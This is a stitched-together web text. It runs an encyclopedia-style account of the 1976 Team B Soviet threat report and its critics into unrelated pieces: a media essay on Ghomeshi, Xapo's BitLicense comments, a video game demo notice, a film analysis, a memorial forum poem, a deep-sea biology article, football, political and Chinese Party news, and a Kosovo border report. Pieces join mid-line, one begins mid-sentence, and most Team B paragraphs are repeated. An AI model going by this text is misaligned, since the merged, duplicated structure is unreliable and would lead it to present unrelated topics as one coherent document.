The report cited the recent development of Soviet MIRV missile technology, coupled with a rapid modernization of ICBM and SLBM targeting capabilities to argue that the NIE was underestimating the impact of the sophistication, effectiveness and threat of numerical superiority that the Soviet strategic missile program was posing. Economic Factors: The NIE viewed Soviet military expenditures as being limited to economic activity in a similar manner as in the west. The report also took exception to this conclusion, arguing that, in retrospect, prior estimates of Soviet military budgets were far from accurate. They cited the 1970 NIE's estimate of the Soviet military budget as being only half of its actual value, and that this number was still being used as a baseline for current estimates. Using these numbers, the report concluded, greatly underestimated the resources available to the Soviet military and consequentially, underestimated potential capability, The report argued that the Soviets did not have the same financial constraints as the West, Guns vs. Butter, because as a dictatorship, the Soviet Union was less accountable for its budget. [26]
The NIE viewed Soviet military expenditures as being limited to economic activity in a similar manner as in the west. The report also took exception to this conclusion, arguing that, in retrospect, prior estimates of Soviet military budgets were far from accurate. They cited the 1970 NIE's estimate of the Soviet military budget as being only half of its actual value, and that this number was still being used as a baseline for current estimates. Using these numbers, the report concluded, greatly underestimated the resources available to the Soviet military and consequentially, underestimated potential capability, The report argued that the Soviets did not have the same financial constraints as the West, Guns vs. Butter, because as a dictatorship, the Soviet Union was less accountable for its budget. Civil Defense: Both the NIE and the Team B report noted that the level of sophistication, scope and expansion of nuclear civil defense was unmatched. And although the Soviet hardening of military and governmental facilities was covered by the NIE the report argued that this was a significant factor in their determination that the Soviets strategic planning was more focused on an offensive nuclear war rather than a defensive stance or deterrence. [27]
Both the NIE and the Team B report noted that the level of sophistication, scope and expansion of nuclear civil defense was unmatched. And although the Soviet hardening of military and governmental facilities was covered by the NIE the report argued that this was a significant factor in their determination that the Soviets strategic planning was more focused on an offensive nuclear war rather than a defensive stance or deterrence. Mobile Missiles: The report also complained that the NIE did not adequately address the issues surrounding the planned Soviet deployment of the SS-X-16 mobile missile system. The SS-X-16, deployed as the SS-16 was the first mobile intercontinental ballistic missile deployed by the Soviet Union. Because it was built off the SS-20 platform (an intermediate range nuclear missile), it was argued that the SS-20 could be quickly and covertly converted into the longer range SS-16 in times of crisis, and would be a backdoor around the SALT I Treaty. [28]
The report also complained that the NIE did not adequately address the issues surrounding the planned Soviet deployment of the SS-X-16 mobile missile system. The SS-X-16, deployed as the SS-16 was the first mobile intercontinental ballistic missile deployed by the Soviet Union. Because it was built off the SS-20 platform (an intermediate range nuclear missile), it was argued that the SS-20 could be quickly and covertly converted into the longer range SS-16 in times of crisis, and would be a backdoor around the SALT I Treaty. Backfire Bomber: The recent deployment, and capabilities of the Tupolev Tu-22M, designated the "Backfire" by NATO, was also addressed. As with the mobile ICBMs, the NIE was said to have underestimated the current and potential performance of the Backfire, and as such, designated it as a short range bomber similar to the F-111, in capabilities. The report argued that the potential of the bomber, both in range and armaments, meant that it was more appropriate to classify the bomber as a long-range strategic platform, thereby impacting the total Soviet strategic nuclear threat. [29]
The recent deployment, and capabilities of the Tupolev Tu-22M, designated the "Backfire" by NATO, was also addressed. As with the mobile ICBMs, the NIE was said to have underestimated the current and potential performance of the Backfire, and as such, designated it as a short range bomber similar to the F-111, in capabilities. The report argued that the potential of the bomber, both in range and armaments, meant that it was more appropriate to classify the bomber as a long-range strategic platform, thereby impacting the total Soviet strategic nuclear threat. Anti Satellite Capability: The report argued that there was stronger evidence than presented by the NIE of a Soviet intent to develop Anti Satellite Capability and that despite the NIE judgment contrary, the Soviets were combining directed energy research to this end. [30]
The report argued that there was stronger evidence than presented by the NIE of a Soviet intent to develop Anti Satellite Capability and that despite the NIE judgment contrary, the Soviets were combining directed energy research to this end. Anti-Submarine Warfare: The report argued that despite the NIE's assessment in its 10-year forecast that the Soviet Navy was not aggressively developing more accurate ASW detection tools and would not be able to deploy new more advanced ASW capabilities in the next 10 years, the evidence in the NIE suggested that they had significantly ramped up ASW R&D, including non acoustic methods of detection. The report cautioned that to determine the real extent of Soviet ASW development would require significantly more research and access to classified materials, as the US Navy would not release its data to either Team B, or the CIA, they stressed that the probability of advanced Soviet ASW research was greater than zero, as the NIE implied it was. [31]
The report argued that despite the NIE's assessment in its 10-year forecast that the Soviet Navy was not aggressively developing more accurate ASW detection tools and would not be able to deploy new more advanced ASW capabilities in the next 10 years, the evidence in the NIE suggested that they had significantly ramped up ASW R&D, including non acoustic methods of detection. The report cautioned that to determine the real extent of Soviet ASW development would require significantly more research and access to classified materials, as the US Navy would not release its data to either Team B, or the CIA, they stressed that the probability of advanced Soviet ASW research was greater than zero, as the NIE implied it was. Anti-Ballistic Missiles: Although the Anti-Ballistic Missile Treaty of 1972 put a halt to further development and deployment of most ABM technology, there were exceptions for ABM systems surrounding Moscow and the Grand Forks Air Force Base in North Dakota. The report argued that since the NIE conceded that Soviet ABM research and development was continuing at a pace similar in size and scope it was before the ABM Treaty in 1972, it was likely that Soviet ABM technology was greater than the NIE concluded it was.[32]
Criticism [ edit ]
Team B concluded that the Soviet Union did not adhere to the doctrine of mutual assured destruction, but rather believed it could win a nuclear war outright. Pipes—in his Commentary article—argued that CIA suffered from "mirror-imaging" (i.e., from assuming that the other side had to—and did—think and evaluate exactly the same way); Pipes further wrote that Team B showed Soviet thinking to be based on winning a nuclear war (i.e., not avoiding such war due to MAD, because, he wrote, the Soviets were building MIRV'd nuclear missiles of high yield and high accuracy—appropriate for attacking hardened missile silos, but not needed for such large and vulnerable 'hostage' sites as cities). This was shocking to many at the time,[1] but Pipes argues that later, after the collapse of the Soviet Union, it was proven to be true.[33]
Fareed Zakaria notes, however, that the specific conclusions of the report
were wildly off the mark. Describing the Soviet Union, in 1976, as having 'a large and expanding Gross National Product,' it predicted that it would modernize and expand its military at an awesome pace. For example, it predicted that the Backfire bomber 'probably will be produced in substantial numbers, with perhaps 500 aircraft off the line by early 1984.' In fact, the Soviets had 235 in 1984.[34]
According to Anne Hessing Cahn (Arms Control and Disarmament Agency, 1977–1980), Team B's analysis of weapons systems was later proven to be false. "I would say that all of it was fantasy.... if you go through most of Team B's specific allegations about weapons systems, and you just examine them one by one, they were all wrong."[9] The CIA director at the time, George H. W. Bush, concluded that the Team B approach set "in motion a process that lends itself to manipulation for purposes other than estimative accuracy."[8][14] Brookings Institution Scholar Raymond Garthoff concurred, writing that in "retrospect, and with the Team B report and records now largely declassified, it is possible to see that virtually all of Team B's criticisms... proved to be wrong. On several important specific points it wrongly criticized and 'corrected' the official estimates, always in the direction of enlarging the impression of danger and threat."[10] A top CIA analyst called Team B "a kangaroo court of outside critics all picked from one point of view."[20]
Joshua Rovner, Associate Professor at the U.S. Naval War College, argues that the Team B exercise made sense in theory because scrutiny from outside of the intelligence bureaucracy can pressure analysts to be forthright regarding their assumptions and methodology. Providing Team B the opportunity to create an alternative assessment could have shed light on any institutional baggage, group-think, and inefficiency. "The competition turned ugly, however, when Team B turned its attention away from Moscow and leveled a blistering attack on the NIE process itself."[35] It excoriated intelligence agencies for "persistent flaws" in past estimates and took it upon itself to "determine what methodological misperceptions cause their most serious errors of judgment."[36] The intelligence community was furious, Rovner maintains, because they believed that the exercise was motivated by an ideological desire to frame the Soviet Union as more belligerent than the intelligence community was leading on. The NIE that emerged from the debacle was strongly influenced by Team B's contributions. Rovner believes that Team B was a case of indirect politicization. "The administration did not try to determine the membership of Team B nor the process of the exercise, but it gave de facto control over these pivotal issues to a group of outspoken critics of détente who argued publicly that the United States was seriously underestimating the Soviet threat."[35]
Richard K. Betts, the Arnold Saltzman Professor of War and Peace Studies at Columbia University argues that the underlying problem was confusion about what level of analysis was at issue—an implicit blurring together of Soviet political objectives and military strategy.[37]
At the level of what might be called strategic intent (how to approach war if it came), Soviet military doctrine was indeed clearly offensive and aimed at securing maximum advantage. Virtually no one challenged this point. Team B and Harvard University's Richard Pipes focused on this but did not distinguish the military strategic orientation clearly from political intent (objectives to be achieved), on which there were many more indications of Soviet commitment to avoiding nuclear war at nearly all costs. Team A and Raymond Garthoff of the Brookings Institution focused on this point. Pipes compared apples and oranges—American political intent with Soviet strategic intent, and American public rhetoric (emphasizing mutual assured destruction) with Soviet operational doctrine.[37]
Paul Warnke, an official at the Arms Control and Disarmament Agency (ACDA) at the time of the Team B, wrote:
Whatever might be said for evaluation of strategic capabilities by a group of outside experts, the impracticality of achieving useful results by 'independent' analysis of strategic objectives should have been self-evident. Moreover, the futility of the Team B enterprise was assured by the selection of the panel's members. Rather than including a diversity of views... the Strategic Objectives Panel was composed entirely of individuals who made careers of viewing the Soviet menace with alarm.[38]
Time Magazine editor Strobe Talbott stated in 1990 that:
Bush allowed a panel of outsiders, deliberately stacked with hard-liners, to second-guess the agency's findings. Not surprisingly, the result was a depiction of Soviet intentions and capabilities that seemed extreme at the time and looks ludicrous in retrospect.[39]
Richard Pipes has defended the project,[1] and in 2003 said:
We dealt with one problem only: What is the Soviet strategy for nuclear weapons? Team B was appointed to look at the evidence and to see if we could conclude that the actual Soviet strategy is different from ours. It's now demonstrated totally, completely, that it was.[33]
Also in 2003, Edward Jay Epstein offered that Team B had been a useful exercise in competitive analysis.[40]
Derek Leebaert, professor of government at Georgetown University, supported Team B in his 2002 book The Fifty Year Wound: How America's Cold War Victory Shapes Our World.[41] Although he agrees that "Team B's alternative National Intelligence Estimate contained its own mistakes", he claims that "Russian sources now show that the Team B analysts were fundamentally correct on all the key issues." He further says that when Team B and the CIA debated their reports in 1976, the CIA "conceded all essential points on Soviet nuclear war strategy to its harshest critics."
In his 2007 book The Fall of the House of Bush, Vanity Fair contributing editor Craig Unger goes into detail about the formation and inaccuracy of Team B:
1976 is the era of détente, and the neocons hate this; they fear losing their favorite enemy, the Soviet Union. They are saying the CIA is coming up with much too rosy of predictions and they don't believe the intelligence. Who takes over the CIA at this point? George H.W. Bush. They decide they have to go to battle against him and they form what is known as Team B, which starts an "alternative intelligence assessment." It effectively says the CIA is all wrong and that we have to redo their intelligence. But Team B's estimates were completely inaccurate.[42]
Jason Vest assessed the lasting implications of Team B:
Despite Kissinger's condemnation of Team B's assessment, Rumsfeld was effusive in promoting it as a credible study—and thereby undermining arms control efforts for the next four years. Two days before Jimmy Carter's inauguration, Rumsfeld fired parting shots at Kissinger and other disarmament advocates, saying that "no doubt exists about the capabilities of the Soviet armed forces" and that those capabilities "indicate a tendency toward war fighting... rather than the more modish Western models of deterrence through mutual vulnerability." Team B's efforts not only were effective in undermining the incoming Carter administration's disarmament efforts but also laid the foundation for the unnecessary explosion of the defense budget in the Reagan years. And it was during those years that virtually all of Rumsfeld's compatriots were elevated to positions of power in the executive branch.[43]
See also |
to be inferior. Those who challenge the narcissist's self-image must be thoroughly discredited to maintain this flawless sheen.
They're often hard-driving and exceptionally successful even as they bruise their colleagues' feelings on their rise to the top.
It's a condition spawned by great insecurity, which is covered up with a thick layer of self-assurance.
Narcissism isn't uncommon in broadcasting world
I wrote about this in a 2012 blog post called "Narcissism and the Media". Here's a snippet of the article:
"Those in the media who fit this profile also have a deep-seated need to denigrate other people. I believe it's done in order to lift themselves up, which helps them maintain their fragile self-esteem. This is not acted out consciously—and they would be the last ones to recognize this within themselves. They often appear to be the most confident people in any room."
But when criticized, narcissistic media personalities are notoriously prone to lash out at others as a defence mechanism. It's one reason why those in the media are sometimes described as having thin skins.
It's easy for many Canadians to dislike Ghomeshi in light of the allegations that have come forward over the past week. Many feel disgusted when hearing interviews with women who allege that he hit or choked them without their consent.
But it's much more of a challenge to try to understand why Ghomeshi may have behaved in the way he did. That calls upon us to summon our curiosity.
It's important to stress the word "may" because Ghomeshi hasn't been convicted in any courtroom and none of the allegations have been upheld in a court of law. He has professed his innocence.
It's also worth examining why CBC managers cleared the way for his astonishing rise within the public broadcaster. He was obviously giving his bosses what they wanted until things went terribly wrong in their relationship.
Is the public broadcaster employing sufficient checks and balances in its hiring procedures or did the pursuit of ratings leave management blind to other considerations? Ghomeshi's career was given a huge boost by a former CBC head of English-language services, Richard Stursberg, who was fired in 2010.
Has CBC president and CEO Hubert Lacroix or the board of directors conducted a thorough review of how Stursberg's focus on commercial success might have contributed to the public-relations disaster that the Crown-owned broadcaster is coping with this week?
There are lessons in this story that go well beyond the guilt or innocence of Ghomeshi.
Where to go from here
If I were dealing with a lighter topic, I might have ended this essay with a pithy comment closing with a word that rhymes with the letter Q. But out of deference to the women who've stepped forward with their stories of abuse, I'll resist any temptation to be glib (like Ghomeshi) and simply ask them to recognize that the vast majority of Canadians will not judge them for what may have happened.
Similarly to Ghomeshi, I'll say this: you had a tough childhood, you experienced racism, and you worked exceptionally hard to rise above this. That's obvious to anyone who's read 1982. I will also say that it's extremely difficult to admit errors when you've become an admired public figure who's hobnobbed with the most famous entertainers in the world. But if a person like this honestly acknowledges mistakes, he or she might start to feel a little lighter as a result.
It's going to be a rocky few years ahead for Ghomeshi. But with his intellect and communications skills, he still has an opportunity to enhance public understanding about a complex issue that's beyond the comprehension of most of us. This is his opportunity.
Conversely, he can instruct lawyers to try to destroy the credibility of several women who've gone public with their concerns. Ultimately, it's his choice.Yesterday Xapo submitted formal comments to the New York Department of Financial Services (“NYDFS”) regarding its proposed BitLicense. Our comments stressed that the practical outcome of the BitLicense in its current form could lead to a virtual exodus from New York by many companies.
We focused our concerns in the following four areas:
Scope: Businesses even tangentially related to crypto-currencies will not be able to assess whether the BitLicense applies to them and such broad scope could lead to selective application by the NYDFS. Licensure: Assessing the likelihood of obtaining a license would be difficult for any company due to onerous and vague application requirements. Compliance: Ongoing compliance is technically impossible and also subject to onerous and unjustified impairments of a licensee’s business. Revocation: A licensee could lose its license at any time.
The upshot of each (individually or collectively) is unquantifiable risk for many companies that choose to operate in New York. We have suggested revisions to the current BitLicense proposal to alleviate these concerns without sacrificing regulatory or consumer protection considerations.
Please see the full text of our comments for more detail.Remember when almost every game had a demo? Those were great times, demos came in cereal, in magazines, and even in the mail. Now its harder to find a video game demo than true love. Luckily for us NIS have made this round easy, by releasing a PS4 demo for Ys VIII: Lacrimosa of DANA. Alongside that demo is a trailer detailing the exclusive content that will come to the North American region.
NIS America are happy to announce a new Ys VIII: Lacrimosa of DANA – Exclusive Content trailer! The contents exclusive to PlayStation®4 and Steam® introduce a new difficulty, Inferno mode, a deeper story line of Dana’s past, new dungeons introducing never-before seen monsters, and two new forms for Dana, Luminous & Gratika, that changes her battle attribute.
Lastly, the PS4™ demo (NA/EU) is now available as a free download on PSN!
Ys VIII: Lacrimosa of DANA arrives on the PlayStation®4, PlayStation®Vita, and Steam® on September 12, 2017 in North America and September 15, 2017 in Europe.
About the game: Ys returns with a brand new adventure for the first time in 8 years! Adol awakens shipwrecked and stranded on a cursed island. There, he and the other shipwrecked passengers he rescues form a village to challenge fearsome beasts and mysterious ruins on the isolated island. Amidst this, Adol begins to dream of a mysterious blue-haired maiden living in an unknown world. Join Adol as he unravels the riddle of the cursed isle and the blue-haired maiden Dana in Ys VIII: Lacrimosa of DANA!
About the demo: The Ys VIII: Lacrimosa of DANA demo begins with Adol and his trusty companions, Laxia and Sahad, in a remote part of the Isle of Seiren. Players will learn how to swap characters in order to take advantage of enemy weaknesses, battle against two bosses using techniques as “Flash Guard” and “Flash Dodge,” and even try out cooking skills to craft usable items. With five difficulties to choose from (Easy, Normal, Hard, Nightmare, and Inferno), players will be able to find the perfect challenge for this upcoming full release of Ys VIII: Lacrimosa of DANA!PDF, For Printing / For Reading
Japanese director Nagisa Ōshima’s 1968 film Death by Hanging begins with the execution of an ethnic Korean man, R. Miraculously, the hanging does not kill him; in fact, the only effect of the hanging is that it erases his memory. Taken by surprise, the officials argue about how to proceed. After frantic deliberation, they decide that an execution is only just if a person realizes the guilt for which they are being punished. They do not let R go, but rather endeavor to make R admit his guilt for a crime that he has no memory of committing. In one such attempt, the officials simulate his crimes, which only leads to an absurd comedy of errors that exposes the racist, violent dimension of nationalist law and history. R finally admits to the crimes in principle and in practice, but only to protest the whole process. ‘Is it wrong to kill?’ R asks. ‘Yes’ they respond. ‘Then killing me is wrong, isn’t it?’ R replies. The official rejoinder is a predictable one: ‘Don’t say such things! We’re legal executioners! It’s the nation that does not permit you to live’. ‘I don’t accept that’ R responds, and then summarizes the central question of the film, ‘What is a nation? Show me one!’, because ‘I don’t want to be killed by an abstraction’.Posted 23 May 2013 - 08:33 AM
Dev's It's been a long time since I posted around here... and to copy and past my earlier sentiments from Face book:Wesley Norman Clark: MWO, Piranha Games... do the girl a service so we will all remember her... make Hero Jenna, name it after her, donate the proceeds to the cancer association.To end:Fare Thee Well MechWarriorMechWarrior, cling thee not to this world,As it holds for you no more.But Listen! Listen for the song from afar,And heed the lilting call of the land that awaits.Let the final breath slip from your pierced chest,And your broken hands fall from the stick.Bend your bloodied brow to this life,And let tumble the shattered helm that once cradled your head.Leave behind these acrid smokes of the fields,These swirling battlegrounds of charred metal, bone and flesh.Depart from the flashing fires that filled your eyes with destruction,And abandon the burning hulk of steel and crimson that was your mount.Hold not to this realm,But hasten! Hasten down the twisting path to the mountains.To the dark mountains and beyond,And across the shimmering sea.Voyage then. Voyage thee well MechWarrior.Voyage thee well and long.Cross the great divide,And find the land that beckons with its Siren's song.Where swords and strife cannot follow,Nor can cruel laser and cold gauss reach.Where rolling hills of soft sun and velvet grasses embrace,And quiet waters sooth your beleaguered soul.Then, lay thee down MechWarrior,Lay thee down and sleep.Dream the dreams of victors...Loose the silver cord...And find your peace complete.Fare thee well MechWarrior.Fare thee well.This poem and the arrangement of the words that constitute this poem are © by Glenn "nano" Byrum, 2008.
Edited by miSs, 11 March 2014 - 09:49 PM.
Edited on nano's request to the latest version of the poemTo consistently win ad agency new business, you need a steady supply of qualified leads and sales-ready appointments flowing into your pipeline. That’s what Callbox delivers.
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Marine scientists are delighted with the latest video footage of life and death from the deepest, most mysterious region of the ocean.
One has described it as the best they have yet collected.
A deep sea probe shot the videos in April and May during an expedition that plumbed the 10,000m depths of the Kermadec Trench, northeast of New Zealand.
The images reveal the hunting strategy of a large enigmatic fish, the swimming style of a gigantic deep sea crustacean and new information on the activities of the world's deepest living fish.
These are new insights on the behaviour of marine animals which inhabit one of the most extreme and inhospitable realms of the planet - the ocean depth range between 6,000m to 11,000m where the floor of the abyss plunges into great troughs, known as ocean trenches.
Oceanographers call it the hadal zone. At its lowest point, the pressure reaches one tonne per square centimetre and the temperature drops to one degree C.
The technical challenges to sending manned and unmanned submersibles into this environment mean that a sizeable portion of the planet's sea floor remains terra incognito.
According to Andy Bowen, chief engineer at the Woods Hole Oceanographic Institution (WHOI) in the US: "The hadal zone… represents an area somewhat equivalent to that of North America. So it's a substantial area of the ocean that is essentially unexplored."
Marine biologist Alan Jamieson of the University of Aberdeen in Scotland regards this as an unacceptable gap in our knowledge of the ocean ecosystem.
"The hadal zone is 45% of the ocean's depth range. So the entire discipline of deep sea biology has concentrated on the shallowest 50% and that seems wrong," he said.
Jamieson led the team which collected the latest video material. He talks about the expedition and its discoveries in the science radio series Into the Abyss on BBC Radio 4.
His spectacular images are some consolation for a technical disaster during the scientific voyage: The catastrophic implosion at 10km depth of the US$3.1m submersible robot, Nereus.
Nereus was the world's most advanced deep sea research vehicle - designed and built at Woods Hole. Nereus was lost during only its second mission in the hadal zone.
Image copyright WHOI Image caption The flagship Nereus underwater vehicle was destroyed recently in the Kermadec trench
The expedition was the first to attempt to study systematically an ocean trench at the different depths across its entire width. It was the inaugural mission of an international research programme called Hades - Hadal Ecosystem Studies. The scope of that project is much reduced with the destruction of Nereus at the bottom of the Kermadec Trench.
Trenches exist where tectonic plates of ocean crust collide. One great raft of crust is slowly descending into the Earth's interior beneath the edge of the other plate.
At the surface, the junction between them is the trench - a broadly V-shaped feature which can run thousands of kilometres in length. The deepest is the Mariana Trench with a floor as deep as 11,000 metres at one location.
The Hollywood film maker Cameron visited its lowest point, Challenger Deep, in 2012. Cameron's submarine mission cost millions of dollars and he reported seeing little in the way of interesting creatures. Alan Jamieson's new video images came at much cheaper price.
The videos were captured during several deployments of a device called a hadal lander. A lander is relatively simple piece of hardware: lights and cameras within a pressure-resistant housing. It also carries a pole on which a dead fish is secured. The bait lures hadal creatures into the camera's field of view, once the whole contraption has been dropped to the sea floor.
In the recent Kermadec expedition, the Aberdeen team began their deployments in the relative shallows.
At 1,554m depth, the lander and its mackerel lure pulled in a mass of squirming eels of two species: large arrow tooth eels and smaller snubnose eels.
The video camera caught the last few seconds of existence for a snubnose eel. In the frenzy of scavenging, a large arrow tooth grabbed the smaller species and carried it off, undulating backwards, into the darkness. "That was a direct kill," said Alan Jamieson.
Even at 1,500 metres, food parcels like the one delivered by the lander are few and far between. Fish detect its odour and emerge from the enveloping darkness to converge on the feast. All species in this environment will scavenge but the new footage creepily shows that a feeding frenzy is also an opportunity for predation.
Another revelation about deep sea hunting behaviour came with a deployment to the upper slopes of the trench itself at 5100 metres. Eel-like fish called cusk eels are frequently spotted at this depth, and deeper. The deep dwelling cusk eels, Bassozetus sp, grow up to one metre in length.
Alan Jamieson said that on previous expeditions, he often saw cusk eels come to the bait but he never saw them do anything interesting. This time the lander caught several occasions when they burst into action in what Jamieson described as some of the best video sequences he's ever taken. The fish's glum-looking, tight-lipped face opens up to form a submarine vacuum cleaner.
Image copyright other Image caption Deep dwelling cusk eels grow up to 1m in length
The cusk eel holds its position at the bait and waits for the odour of dead fish to attract crustaceans called amphipods. Amphipods are the most abundant of free-swimming creatures in the deepest depths. Dr Jamieson theorises that cusk eels only spring into action when amphipods large enough to bother with swims close. When the fish somehow detects their proximity, its mouth springs wide open in a split second, sucking up the amphipod in a rush of water.
Deeper in the trench, there is an amphipod species which has nothing to fear from fish. This creature is unofficially known as the Supergiant - its scientific name is Alicella gigantea. The Kermadec expedition this year captured the first footage of the Supergiant swimming. On this occasion, the animal was caught, brazenly ploughing through a shoal of pink snailfish at 7,243 metres below the surface.
Most members of the amphipod group are small, typified by the species many of us are likely to have encountered: the sand hoppers which ping out of disturbed seaweed on the beach.
The adult Supergiant is colossal compared to any other amphipod species. On previous expeditions in the Kermadec and Japan trenches, individuals brought up in deep sea traps have measured as long as 28 centimetres, almost one foot.
Marine biologists speculate that Supergiants evolved gigantic size as a defence against predation. At some point in the past, their ancestors had the luck to develop mutations in genes which regulate growth.
Another adaptation to this environment are food stores in their bodies, according to marine biologist Ashley Rowden at New Zealand's National Institute of Water and Atmospheric Research. He said that Supergiants which have been brought to the surface feel as though they are made of wax.
"The belief is that the waxy materials are a food storage source for times when there isn't food for those Supergiants to exist on. They are able to use what they've stored from a previous big feast."
Sharing the Middle Trench depth range with the Super Giants are the snailfish - the deepest living fish known. They have the appearance of large tadpoles made of pink jelly. They are semi-transparent. The lights of the hadal camera illuminate orange blobs within their bodies. These blobs are their livers.
Snailfish feed on small amphipods. The greatest depth at which they have been seen is 7,700 metres. The fish (Notoliparis kermadecensis) in the Kermadec Trench look more or less identical to those seen in the Japan Trench way to the north. However genetic analyses show they are different species and not that closely related to one another. They are closer cousins of the shallower water snailfish species in their respective parts of the world.
On this and previous expeditions, snailfish have been brought to the surface in traps. According to Ashley Rowden, the jelly-like consistency makes a snailfish hard to handle. "It's like handling a water-filled condom. It slips around in your hand and you're not quite sure which bit you should be holding so that it doesn't drop to the deck."
The latest footage of snailfish in their natural environment reveals them to be more numerous and more energetic than the scientists had supposed. Alan Jamieson says the snailfish had also appeared to be wedded to the sea floor. The new video reveals them disporting in mid water around a precipitous cliff of volcanic rock. The water depth here was 7,669 metres.
"We always thought that when you get down to those depths, you'd be lucky if you saw one or two, eking out an existence in this really deep water but we've been very, very surprised to see so many being so active," said Alan Jamieson.
"The more I do this the more I don't consider the very deepest parts of the ocean as that different (from the rest of it). They are not weird and 'out there'…. They are just an extension of every other marine environment."
The first part of 'Into the Abyss' was broadcast on Wednesday 16th July at 9 pm and will be repeated on Tuesday 22nd July at 11 am.At this point, the report from La Gazzetta dello Sport is almost anti-climactic. It's become so expected to hear that you almost don't even hear it when it's said. That doesn't change that now this is something that's moving from speculation to legitimate reports, and perhaps soon to fact not long after: Rafa Benitez is leaving Napoli.
La Gazzetta is saying as much in their morning edition, reporting that Benitez and Napoli will "divorce" at season's end when the Spaniard's contract expires. "The farewell will be sad and unenthusiastic," the paper says, but it is coming.
The report indicates that Benitez will be heading back to England so he can be near his family in Liverpool. While it currently looks unlikely that his old job at Anfield will be available, La Gazzetta is putting themselves on the "Manchester City want Rafa" bandwagon, but also indicate that City won't be the only English team who want to bring him in.
With Rafa leaving and Napoli's ability to earn a Champions League place looking increasingly tenuous, one also has to wonder about Napoli's ability to hold on to some of the club's core players, like Gonzalo Higuain and Jose Callejon. Without the man who brought them to the club or Champions League football, keeping them will be very difficult, and replacing them could be harder without the lure of Europe's top club competition. For that matter, no Champions League would also make recruiting another top manager very difficult.
This is shaping up to be a very trying summer.Technically Incorrect offers a slightly twisted take on the tech that's taken over our lives.
Fox News screenshot by Chris Matyszczyk/CNET
You might be under the impression Donald Trump wants nothing to do with Apple.
After all, he called for a boycott of Apple products because of the company's refusal to hack a terrorist's phone. He's also called on Apple to build its products at home, rather than in China.
So it was a surprise to learn that Trump owns Apple stock valued at between $1.1 million and $2.25 million, according to a personal financial report he submitted to the US government earlier this week.
He also owned shares of Google-parent Alphabet and Amazon.com, among other tech companies. None of those holdings, however, came close to the value of his Apple stake.
Some might be bemused that the presumptive Republican candidate would ask citizens to boycott a company from whose stock he could profit.
Some might laud the fact that he's a man of stern principle, eschewing all personal gain in favor of making America great again. As part of that effort, he'd love to renegotiate trade deals and impose tariffs.
I worry the call for a boycott of Apple was merely a suggestion -- as was his idea to ban Muslims from entering America.
A quick review of the last 24 hours of Trump's tweets shows he is communicating to his twittering kingdom from both Android and iOS phones.
Neither the Trump campaign nor Apple immediately responded to requests for comment.
One can only assume, though, that it's OK for Trump supporters to use their iPhones and invest in Apple.
Until the 2017 Great Trade War begins, that is.Retired officials who are Communist Party of China (CPC) members in Beijing are required to be atheists and are banned from practicing any religious activities, according to new rules.
"The guidelines on strengthening management of retired personnel stipulate that retired Party members shall not have religious belief or participate in religious activities. They are required to firmly fight against cults," the Beijing Municipal Bureau of Retired Personnel said on its website on Friday.
The guideline also notes that it is necessary to distinguish religious activities from traditional customs.
"Whether on duty or retired from their posts, they cannot be allowed to have religious belief, which is regulated by the CPC Constitution," Xiong Kunxin, a professor of ethnic theory and policy at the Minzu University of China in Beijing, told the Global Times.
Some Party members have gradually weakened their political concepts after retirement, which undermines Party unity, Su Wei, a professor at the Party School of the CPC Chongqing Municipal Committee, told the Global Times, adding that they can turn to religion when they withdraw from the Party.
"But it is reasonable for Party members, either working or retired, to join in certain religious activities, since they need a way to connect with those who have religious beliefs," Xiong noted.
Their attendance at religious activities does not represent a commitment to religion but as a way to connect with the public, he explained.
Beijing government released the guideline on February 22, following suggestions issued by the State Council on January 22, 2016. This was the first major document dealing with senior Party officials since 1982, the year the retirement system for senior Party officials was established.
Retired officials also need to study important speeches of Xi Jinping, general secretary of the CPC Central Committee, the bureau said. Party officials have to follow political discipline and rules, and keep aligned with the CPC Central Committee in which Xi is "the core."
Religious groups must adhere to CPC leadership and support socialism with Chinese characteristics, Xi said in 2016.Serbs set fire to UN and police vehicles at Jarinje
Hundreds of protesters torched customs and police posts at Jarinje and Brnjak, manned by UN and Kosovo police.
Closing the borders will infuriate both Kosovo Serbs and Serbia's government, says the BBC's Nick Thorpe in Kosovo.
The move cuts Kosovo's mainly Serb north off from Serbia, the country to which they insist they still belong.
Nato said it was shutting the crossings, initially for a 24-hour period.
Bulldozers and explosives
The protesters arrived in convoys of cars and buses in what our correspondent says was clearly a carefully planned and coordinated action.
Kosovo police and UN customs officials were forced to withdraw to a nearby tunnel as the crowds used bulldozers and explosives to demolish the border posts, according to witnesses.
Nato-led peacekeepers from K-For were called in and US, Estonian and French troops sealed the two border crossings.
Serbia's minister for Kosovo, Slobodan Samardzic, said his government intended to take control of the customs posts to establish what he called the fully authority of Serbian statehood.
'Second Kosovo'
The attacks on the crossings and the Nato response put the international community on a collision course with both Kosovo Serbs and the Serbian government, our correspondent says.
KOSOVO PROFILE Population about two million Majority ethnic Albanian; 10% Serb Under UN control since Nato drove out Serb forces in 1999 2,000-strong EU staff to take over from UN after independence Nato to stay to provide security
EU fired up by Kosovo Anger mounts in Mitrovica Full text: Kosovo declaration
He says that what is emerging on the ground is a second Kosovo.
Students in the Serb-dominated town of Mitrovica are organising daily protests at 12.44 pm, referring to UN Security Council resolution 1244 under which Serbia insists it still has sovereignty of Kosovo under international law.
In Pristina, Dutch diplomat Pieter Feith began his task as the EU's special representative to Kosovo.
Mr Feith - who will head the international civilian office due to take over from the UN - insisted that the EU mission would be deployed throughout Kosovo despite Serb hostility.
"We need to reach out to the Serb communities here in Kosovo and we are, of course, in touch with Belgrade," he said.
A 2,000-strong EU police and justice mission will take shape in the coming weeks.
'Encouraging separatism'
Russia has sharply criticised Brussels' role in Kosovo. Foreign Ministry spokesman Mikhail Kamynin said that by "pursuing the unilateral scenario of solving the Kosovo problem... the European Union encourages separatism in the world".
He was speaking after EU foreign policy chief Javier Solana became the first international statesman to visit Kosovo since its independence declaration on Sunday.
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The US, Britain, France, Germany and Italy have all recognised the new state, but others have not.
The UN Security Council is divided over how to respond to Kosovo's move, and it has failed to agree on any action.
China has expressed its deep concern and official media in Beijing announced that a further small deployment of UN peacekeepers would be sent to Pristina next month.
Ambassadors recalled
On Monday, the Serbian parliament passed a resolution condemning Kosovo's declaration of independence.
The resolution also formally annulled the acts of the government in Pristina, saying Belgrade's sovereignty over Kosovo was guaranteed by the UN and international law.
In a separate move, Serbia has recalled its ambassadors to the US, France and Turkey because those countries had recognised Kosovo's independence.
EU member states set aside differences over the recognition of Kosovo earlier this week by stressing that it was not a precedent for separatists elsewhere.
Spain and several other member states have withheld recognition because of concerns about separatist movements within their own borders.
Serbian security forces were driven out of Kosovo in 1999 after a Nato bombing campaign aimed at halting the violent repression of ethnic Albanian separatists.
